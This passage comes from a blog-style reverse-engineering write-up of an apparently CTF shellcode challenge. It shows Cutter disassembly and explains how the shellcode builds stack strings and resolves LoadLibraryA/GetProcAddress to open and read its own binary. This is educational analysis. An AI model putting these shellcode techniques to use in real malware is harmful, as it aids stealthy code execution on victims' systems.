|           0x00402381      add  esp, 0xc
|           0x00402384      push dword [var_4h]
|           0x00402387      call dword [s1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It looks like our shellcode is 584 bytes starting at 0x404040.
Cutter has a neat feature where you can copy in a byte array and it will parse it as shellcode:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/shellcode2-cutter-shellcode.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can also just click on the offset in the original code and view the dissassembly there.
Lets look at the disassembly:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x00404040      push ebp
    0x00404041      mov  ebp, esp
    0x00404043      sub  esp, 0x1bc
    0x00404049      mov  byte [ebp - 0x58], 0x6d ; 'm' ; 109
    0x0040404d      mov  byte [ebp - 0x57], 0x73 ; 's' ; 115
    0x00404051      mov  byte [ebp - 0x56], 0x76 ; 'v' ; 118
    0x00404055      mov  byte [ebp - 0x55], 0x63 ; 'c' ; 99
    0x00404059      mov  byte [ebp - 0x54], 0x72 ; 'r' ; 114
    0x0040405d      mov  byte [ebp - 0x53], 0x74 ; 't' ; 116
    0x00404061      mov  byte [ebp - 0x52], 0x2e ; '.' ; 46
    0x00404065      mov  byte [ebp - 0x51], 0x64 ; 'd' ; 100
    0x00404069      mov  byte [ebp - 0x50], 0x6c ; 'l' ; 108
    0x0040406d      mov  byte [ebp - 0x4f], 0x6c ; 'l' ; 108
    0x00404071      mov  byte [ebp - 0x4e], 0
    0x00404075      mov  byte [ebp - 0xa0], 0x6b ; 'k' ; 107
    0x0040407c      mov  byte [ebp - 0x9f], 0x65 ; 'e' ; 101
    0x00404083      mov  byte [ebp - 0x9e], 0x72 ; 'r' ; 114
    0x0040408a      mov  byte [ebp - 0x9d], 0x6e ; 'n' ; 110
    0x00404091      mov  byte [ebp - 0x9c], 0x65 ; 'e' ; 101
    0x00404098      mov  byte [ebp - 0x9b], 0x6c ; 'l' ; 108
    0x0040409f      mov  byte [ebp - 0x9a], 0x33 ; '3' ; 51
    0x004040a6      mov  byte [ebp - 0x99], 0x32 ; '2' ; 50
    0x004040ad      mov  byte [ebp - 0x98], 0x2e ; '.' ; 46
    0x004040b4      mov  byte [ebp - 0x97], 0x64 ; 'd' ; 100
    0x004040bb      mov  byte [ebp - 0x96], 0x6c ; 'l' ; 108
    0x004040c2      mov  byte [ebp - 0x95], 0x6c ; 'l' ; 108
    0x004040c9      mov  byte [ebp - 0x94], 0
    0x004040d0      mov  byte [ebp - 0x1b8], 0x66 ; 'f' ; 102
    0x004040d7      mov  byte [ebp - 0x1b7], 0x6f ; 'o' ; 111
    0x004040de      mov  byte [ebp - 0x1b6], 0x70 ; 'p' ; 112
    0x004040e5      mov  byte [ebp - 0x1b5], 0x65 ; 'e' ; 101
    0x004040ec      mov  byte [ebp - 0x1b4], 0x6e ; 'n' ; 110
    0x004040f3      mov  byte [ebp - 0x1b3], 0
    0x004040fa      mov  byte [ebp - 0x4c], 0x66 ; 'f' ; 102
    0x004040fe      mov  byte [ebp - 0x4b], 0x72 ; 'r' ; 114
    0x00404102      mov  byte [ebp - 0x4a], 0x65 ; 'e' ; 101
    0x00404106      mov  byte [ebp - 0x49], 0x61 ; 'a' ; 97
    0x0040410a      mov  byte [ebp - 0x48], 0x64 ; 'd' ; 100
    0x0040410e      mov  byte [ebp - 0x47], 0
    0x00404112      mov  byte [ebp - 0xc], 0x66 ; 'f' ; 102
    0x00404116      mov  byte [ebp - 0xb], 0x73 ; 's' ; 115
    0x0040411a      mov  byte [ebp - 0xa], 0x65 ; 'e' ; 101
    0x0040411e      mov  byte [ebp - 9], 0x65 ; 'e' ; 101
    0x00404122      mov  byte [ebp - 8], 0x6b ; 'k' ; 107
    0x00404126      mov  byte [ebp - 7], 0
    0x0040412a      mov  byte [ebp - 0x60], 0x66 ; 'f' ; 102
    0x0040412e      mov  byte [ebp - 0x5f], 0x63 ; 'c' ; 99
    0x00404132      mov  byte [ebp - 0x5e], 0x6c ; 'l' ; 108
    0x00404136      mov  byte [ebp - 0x5d], 0x6f ; 'o' ; 111
    0x0040413a      mov  byte [ebp - 0x5c], 0x73 ; 's' ; 115
    0x0040413e      mov  byte [ebp - 0x5b], 0x65 ; 'e' ; 101
    0x00404142      mov  byte [ebp - 0x5a], 0
    0x00404146      mov  byte [ebp - 0x78], 0x47 ; 'G' ; 71
    0x0040414a      mov  byte [ebp - 0x77], 0x65 ; 'e' ; 101
    0x0040414e      mov  byte [ebp - 0x76], 0x74 ; 't' ; 116
    0x00404152      mov  byte [ebp - 0x75], 0x4d ; 'M' ; 77
    0x00404156      mov  byte [ebp - 0x74], 0x6f ; 'o' ; 111
    0x0040415a      mov  byte [ebp - 0x73], 0x64 ; 'd' ; 100
    0x0040415e      mov  byte [ebp - 0x72], 0x75 ; 'u' ; 117
    0x00404162      mov  byte [ebp - 0x71], 0x6c ; 'l' ; 108
    0x00404166      mov  byte [ebp - 0x70], 0x65 ; 'e' ; 101
    0x0040416a      mov  byte [ebp - 0x6f], 0x46 ; 'F' ; 70
    0x0040416e      mov  byte [ebp - 0x6e], 0x69 ; 'i' ; 105
    0x00404172      mov  byte [ebp - 0x6d], 0x6c ; 'l' ; 108
    0x00404176      mov  byte [ebp - 0x6c], 0x65 ; 'e' ; 101
    0x0040417a      mov  byte [ebp - 0x6b], 0x4e ; 'N' ; 78
    0x0040417e      mov  byte [ebp - 0x6a], 0x61 ; 'a' ; 97
    0x00404182      mov  byte [ebp - 0x69], 0x6d ; 'm' ; 109
    0x00404186      mov  byte [ebp - 0x68], 0x65 ; 'e' ; 101
    0x0040418a      mov  byte [ebp - 0x67], 0x41 ; 'A' ; 65
    0x0040418e      mov  byte [ebp - 0x66], 0
    0x00404192      mov  byte [ebp - 0x7c], 0x72 ; 'r' ; 114
    0x00404196      mov  byte [ebp - 0x7b], 0x62 ; 'b' ; 98
    0x0040419a      mov  byte [ebp - 0x7a], 0
    0x0040419e      mov  eax, dword [ebp + 8] ; [0x8:4]=-1 ; 8
    0x004041a1      mov  ecx, dword [eax]
    0x004041a3      mov  dword [ebp - 4], ecx
    0x004041a6      mov  ecx, dword [eax + 4] ; [0x4:4]=-1 ; 4
    0x004041a9      mov  dword [ebp - 0x44], ecx
    0x004041ac      lea  ecx, [ebp - 0x58]
    0x004041af      push ecx
    0x004041b0      call dword [ebp - 4]
    0x004041b3      mov  dword [ebp - 0x3c], eax
    0x004041b6      lea  edx, [ebp - 0xa0]
    0x004041bc      push edx
    0x004041bd      call dword [ebp - 4]
    0x004041c0      mov  dword [ebp - 0x84], eax
    0x004041c6      lea  eax, [ebp - 0x78]
    0x004041c9      push eax
    0x004041ca      mov  ecx, dword [ebp - 0x84]
    0x004041d0      push ecx
    0x004041d1      call dword [ebp - 0x44]
    0x004041d4      mov  dword [ebp - 0x10], eax
    0x004041d7      lea  edx, [ebp - 0x1b8]
    0x004041dd      push edx
    0x004041de      mov  eax, dword [ebp - 0x3c]
    0x004041e1      push eax
    0x004041e2      call dword [ebp - 0x44]
    0x004041e5      mov  dword [ebp - 0x80], eax
    0x004041e8      lea  ecx, [ebp - 0xc]
    0x004041eb      push ecx
    0x004041ec      mov  edx, dword [ebp - 0x3c]
    0x004041ef      push edx
    0x004041f0      call dword [ebp - 0x44]
    0x004041f3      mov  dword [ebp - 0xa4], eax
    0x004041f9      lea  eax, [ebp - 0x4c]
    0x004041fc      push eax
    0x004041fd      mov  ecx, dword [ebp - 0x3c]
    0x00404200      push ecx
    0x00404201      call dword [ebp - 0x44]
    0x00404204      mov  dword [ebp - 0x90], eax
    0x0040420a      lea  edx, [ebp - 0x60]
    0x0040420d      push edx
    0x0040420e      mov  eax, dword [ebp - 0x3c]
    0x00404211      push eax
    0x00404212      call dword [ebp - 0x44]
    0x00404215      mov  dword [ebp - 0x64], eax
    0x00404218      push 0x104 ; 260
    0x0040421d      lea  ecx, [ebp - 0x1b0]
    0x00404223      push ecx
    0x00404224      push 0
    0x00404226      call dword [ebp - 0x10]
    0x00404229      lea  edx, [ebp - 0x7c]
    0x0040422c      push edx
    0x0040422d      lea  eax, [ebp - 0x1b0]
    0x00404233      push eax
    0x00404234      call dword [ebp - 0x80]
    0x00404237      add  esp, 8
    0x0040423a      mov  dword [ebp - 0x40], eax
    0x0040423d      push 0
    0x0040423f      push 0x4e ; 'N' ; 78
    0x00404241      mov  ecx, dword [ebp - 0x40]
    0x00404244      push ecx
    0x00404245      call dword [ebp - 0xa4]
    0x0040424b      add  esp, 0xc
    0x0040424e      mov  edx, dword [ebp - 0x40]
    0x00404251      push edx
    0x00404252      push 1 ; 1
    0x00404254      push 0x26 ; '&amp;amp;' ; 38
    0x00404256      lea  eax, [ebp - 0x38]
    0x00404259      push eax
    0x0040425a      call dword [ebp - 0x90]
    0x00404260      add  esp, 0x10
    0x00404263      mov  ecx, dword [ebp - 0x40]
    0x00404266      push ecx
    0x00404267      call dword [ebp - 0x64]
    0x0040426a      add  esp, 4
    0x0040426d      mov  edx, dword [ebp + 8] ; [0x8:4]=-1 ; 8
    0x00404270      mov  ecx, dword [edx + 0xc] ; [0xc:4]=-1 ; 12
    0x00404273      mov  edi, dword [edx + 8] ; [0x8:4]=-1 ; 8
    0x00404274          .string &quot;z\b1\xd2\x8aD&quot; ; len=7 ;-- &quot;z\b1ҊD&quot;:
:   0x0040427b      enter 0x430, 0x17 ; 1072
:   0x0040427f      inc  edx
:   0x00404280      cmp  edx, ecx
`=&amp;lt; 0x00404282      jne  0x404278
    0x00404284      mov  esp, ebp
    0x00404286      pop  ebp
    0x00404287      ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first thing we see is a large stack string being setup:
Lets copy 0x00404049 to 0x00404196 to a file and run some commandline-fu on it to make it a bit easier on the eyes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat stack_string.txt | cut -d';' -f2 | sed -e 's/ //g' -e 's/\'//g' -e 's/^   //g' -e 's/^0x00404.*/ /g' | tr '\n' '\0'

msvcrt.dll kernel32.dll fopen fread fseek fclose GetModuleFileNameA rb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Much better.
It looks like our stack string contains 2 dll names (msvcrt.dll, kernel32.dll) some basic c++ file commands (fopen, fread, fseek, fclose) and a function (GetModuleFileNameA). The last 2 characters “rb” are most likely parameters we are gonna pass to fopen which will tell it readonly and present the file as a binary object. I think its safe to assume we are going to be opening a file, grabbing some bytes, and creating our flag from that. Lets pull up the docs. Besides the functions and dlls above lets also get the docs for the two functions we saved as dwords earlier.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getmodulefilenamea&quot;&gt;GetModuleFileNameA&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetModuleFileNameA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;HMODULE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;LPSTR&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;lpFilename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;nSize&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya&quot;&gt;LoadLibraryA&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;HMODULE&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;LoadLibraryA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpLibFileName&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress&quot;&gt;GetProcAddress&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;FARPROC&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetProcAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;HMODULE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;lpProcName&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Windows_library_files#MSVCRT.DLL,_MSVCP*.DLL_and_CRTDLL.DLL&quot;&gt;msvcrt.dll&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;MSVCRT.DLL is the C standard library for the Visual C++ (MSVC) compiler from version 4.2 to 6.0. It provides programs compiled by these versions of MSVC with most of the standard C library functions. These include string manipulation, memory allocation, C-style input/output calls, and others.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Windows_library_files#KERNEL32.DLL&quot;&gt;kernel32.dll&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;KERNEL32.DLL exposes to applications most of the Win32 base APIs, such as memory management, input/output (I/O) operations, process and thread creation, and synchronization functions. Many of these are implemented within KERNEL32.DLL by calling corresponding functions in the native API, exposed by NTDLL.DLL.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://devdocs.io/cpp/io/c/fopen&quot;&gt;fopen&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Opens a file indicated by filename and returns a file stream associated with that file. mode is used to determine the file access mode.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://devdocs.io/cpp/io/c/fread&quot;&gt;fread&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Reads up to count objects into the array buffer from the given input stream stream as if by calling std::fgetc size times for each object, and storing the results, in the order obtained, into the successive positions of buffer, which is reinterpreted as an array of unsigned char. The file position indicator for the stream is advanced by the number of characters read.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://devdocs.io/cpp/io/c/fseek&quot;&gt;fseek&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Sets the file position indicator for the file stream stream.
If the stream is open in binary mode, the new position is exactly offset bytes measured from the beginning of the file if origin is SEEK_SET, from the current file position if origin is SEEK_CUR, and from the end of the file if origin is SEEK_END. Binary streams are not required to support SEEK_END, in particular if additional null bytes are output.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fseek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;origin&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://devdocs.io/cpp/io/c/fclose&quot;&gt;fclose&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Closes the given file stream. Any unwritten buffered data are flushed to the OS. Any unread buffered data are discarded.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets list these out with their pointers for easy reference later:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58   msvcrt.dll
ebp 0xa0   kernel32.dll
ebp 0x1b8  fopen
ebp 0x4c   fread
ebp 0xc    fseek
ebp 0x60   fclose
ebp 0x78   GetModuleFileNameA
ebp 0x7c   rb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alright, so we have a pretty good guess as to what this shellcode is going to do.
Lets examine the rest of it and see if we are right:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x0040419e      mov  eax, dword [ebp + 8] ; [0x8:4]=-1 ; 8
    0x004041a1      mov  ecx, dword [eax]
    0x004041a3      mov  dword [ebp - 4], ecx
    0x004041a6      mov  ecx, dword [eax + 4] ; [0x4:4]=-1 ; 4
    0x004041a9      mov  dword [ebp - 0x44], ecx
    0x004041ac      lea  ecx, [ebp - 0x58]
    0x004041af      push ecx
    0x004041b0      call dword [ebp - 4]
    0x004041b3      mov  dword [ebp - 0x3c], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We are calling LoadLibraryA after pushing msvcrt.dll to the stck.
We are then saving the return to ebp 0x3c. Lets update our reference:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58           msvcrt.dll
ebp 0xa0           kernel32.dll
ebp 0x1b8          fopen
ebp 0x4c           fread
ebp 0xc            fseek
ebp 0x60           fclose
ebp 0x78           GetModuleFileNameA
ebp 0x7c           rb
dword [ebp - 4]    LoadLibraryA
dword [ebp - 0x44] GetProcAddress
dword [ebp - 0x3c] msvcrt.dll module handle
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x004041b6      lea  edx, [ebp - 0xa0]
    0x004041bc      push edx
    0x004041bd      call dword [ebp - 4]
    0x004041c0      mov  dword [ebp - 0x84], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next we call LoadLibraryA after pushing kernel32.dll to the stack.
We are then saving the return to ebp 0x84. Lets update our reference and move on.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58           msvcrt.dll
ebp 0xa0           kernel32.dll
ebp 0x1b8          fopen
ebp 0x4c           fread
ebp 0xc            fseek
ebp 0x60           fclose
ebp 0x78           GetModuleFileNameA
ebp 0x7c           rb
dword [ebp - 4]    LoadLibraryA
dword [ebp - 0x44] GetProcAddress
dword [ebp - 0x3c] msvcrt.dll module handle
dword [ebp - 0x84] kernel32.dll module handle
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x004041c6      lea  eax, [ebp - 0x78]
    0x004041c9      push eax
    0x004041ca      mov  ecx, dword [ebp - 0x84]
    0x004041d0      push ecx
    0x004041d1      call dword [ebp - 0x44]
    0x004041d4      mov  dword [ebp - 0x10], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next we are pushing GetModuleFileNameA, and then kernel32.dll handle to the stack.
We are then calling GetProcAddress(kernel32.dll, GetModuleFileNameA).
This returns the address of GetModuleFileNameA and we are saving that in ebp 0x10.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58           msvcrt.dll
ebp 0xa0           kernel32.dll
ebp 0x1b8          fopen
ebp 0x4c           fread
ebp 0xc            fseek
ebp 0x60           fclose
ebp 0x78           GetModuleFileNameA
ebp 0x7c           rb
dword [ebp - 4]    LoadLibraryA
dword [ebp - 0x44] GetProcAddress
dword [ebp - 0x3c] msvcrt.dll module handle
dword [ebp - 0x84] kernel32.dll module handle
dword [ebp - 0x10] GetModuleFileNameA address
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x004041d7      lea  edx, [ebp - 0x1b8]
    0x004041dd      push edx
    0x004041de      mov  eax, dword [ebp - 0x3c]
    0x004041e1      push eax
    0x004041e2      call dword [ebp - 0x44]
    0x004041e5      mov  dword [ebp - 0x80], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up it looks like we are pushing fopen, and msvcrt.dll handle to the stack.
Then we are calling GetProcAddress on them.
The return address for fopen is saved as ebp 0x80.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58           msvcrt.dll
ebp 0xa0           kernel32.dll
ebp 0x1b8          fopen
ebp 0x4c           fread
ebp 0xc            fseek
ebp 0x60           fclose
ebp 0x78           GetModuleFileNameA
ebp 0x7c           rb
dword [ebp - 4]    LoadLibraryA
dword [ebp - 0x44] GetProcAddress
dword [ebp - 0x3c] msvcrt.dll module handle
dword [ebp - 0x84] kernel32.dll module handle
dword [ebp - 0x10] GetModuleFileNameA address
dword [ebp - 0x80] fopen address
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x004041e8      lea  ecx, [ebp - 0xc]
    0x004041eb      push ecx
    0x004041ec      mov  edx, dword [ebp - 0x3c]
    0x004041ef      push edx
    0x004041f0      call dword [ebp - 0x44]
    0x004041f3      mov  dword [ebp - 0xa4], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are getting the address to fseek as ebp 0xa4.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x004041f9      lea  eax, [ebp - 0x4c]
    0x004041fc      push eax
    0x004041fd      mov  ecx, dword [ebp - 0x3c]
    0x00404200      push ecx
    0x00404201      call dword [ebp - 0x44]
    0x00404204      mov  dword [ebp - 0x90], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are getting the address to fread as ebp 0x90.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;    0x0040420a      lea  edx, [ebp - 0x60]
    0x0040420d      push edx
    0x0040420e      mov  eax, dword [ebp - 0x3c]
    0x00404211      push eax
    0x00404212      call dword [ebp - 0x44]
    0x00404215      mov  dword [ebp - 0x64], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are getting the address to fclose as ebp 0x64.
Lets update these and go on to the next call.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ebp 0x58           msvcrt.dll
ebp 0xa0           kernel32.dll
ebp 0x1b8          fopen
ebp 0x4c           fread
ebp 0xc            fseek
ebp 0x60           fclose
ebp 0x78           GetModuleFileNameA
ebp 0x7c           rb
